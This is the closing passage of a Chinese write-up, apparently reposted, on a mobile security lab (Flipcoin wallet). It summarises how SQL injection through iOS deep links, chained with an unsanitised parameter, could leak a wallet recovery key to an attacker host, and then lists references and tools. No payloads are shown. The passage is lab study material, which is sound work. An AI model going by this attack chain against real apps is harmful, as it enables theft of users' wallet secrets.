因此,我们进入了本文的最后一部分。总之,该应用程序容易受到本地 SQL 注入的攻击,这意味着需要对设备进行物理访问才能执行攻击。但是,通过将此问题与未清理的测试网参数链接起来,提取的数据可以远程泄露到攻击者控制的主机。
从另一个角度来看,这个实验不仅仅是一个关于通过深度链接进行 SQL 注入的案例研究,它还强化了一个重要的教训,即正确的测试需要对应用程序的流程有深入的理解。 在这种情况下,只有在确定应用程序使用的确切表结构后才能提取 。这种情况凸显了超越单一攻击媒介并全面评估整个系统的重要性,确保跨多个层进行全面评估。
recovery_key
IX. 参考资料
-
Mobile Hacking Lab,“免费课程 — iOS 应用程序安全”,2024 年 11 月。[在线]。可用:https://www.mobilehackinglab.com/course/free-ios-application-security-course。 -
Mobile Hacking Lab,“移动应用程序安全实验室
Flipcoin” [在线]。可用:https://www.mobilehackinglab.com/course/lab-flipcoin-wallet。 -
COBALT,“学习 iOS 应用渗透测试和安全性第 1 部分”,2023 年 6 月 13 日。[在线]。可用:https://www.cobalt.io/blog/learning-ios-app-pentesting-and-security-part-1。 -
P. Benoit,“iOS 中的深度链接和 URL 方案”,2022 年 2 月 13 日。[在线]。可用:https://benoitpasquier.com/deep-linking-url-scheme-ios/。 -
Braze,“通用链接和应用链接的工作原理”,2024 年 10 月 30 日。[在线]。可用:https://www.braze.com/docs/help/help_articles/email/universal_links/#how-universal-links-and-app-links-work。 -
F. Basel,“掌握 iOS 中的深度链接:释放 URL 方案和通用链接的力量”,2023 年 7 月 25 日。[在线]。可用:https://www.codementor.io/@basilfarajcomedy/mastering-deep-linking-in-ios-unleashing-the-power-of-url-schemes-and-universal-links-271lpah1rt。 -
BSTeam,“什么是深度链接?移动应用营销中的类型、示例和用例“,2024 年 12 月 9 日。[在线]。可用:https://simicart.com/blog/mobile-deep-link/。 -
8ksecresearch,“iOS 深度链接攻击第 1 部分 — 简介 |8kSec 博客“,2023 年 5 月 17 日。[在线]。可用:https://8ksec.io/ios-deeplink-attacks-part-1-introduction-8ksec-blogs/。 -
苹果,“canOpenURL(_:)” [在线]。可用:https://developer.apple.com/documentation/uikit/uiapplication/canopenurl(_:)。 -
苹果,“open(_:options:completionHandler:)” [在线]。可用:https://developer.apple.com/documentation/uikit/uiapplication/open(_:options:completionhandler:)。 -
PortSwigger,“SQL 注入 UNION 攻击” [在线]。可用:https://portswigger.net/web-security/sql-injection/union-attacks。 - https://github.com/NationalSecurityAgency/ghidra/releases
- https://sideloadly.io
- https://codeshare.frida.re/@ivan-sincek/ios-deeplink-fuzzing/
- https://codeshare.frida.re/@xperylab/ios-sqlite3/
- https://www.qr-code-generator.com/
- https://www.sqlite.org/c3ref/prepare.html
- https://sqlitebrowser.org/
原文始发于微信公众号(安全狗的自我修养):通过 iOS 应用程序中的深层链接利用未经净化的 URL 处理和 SQL 注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论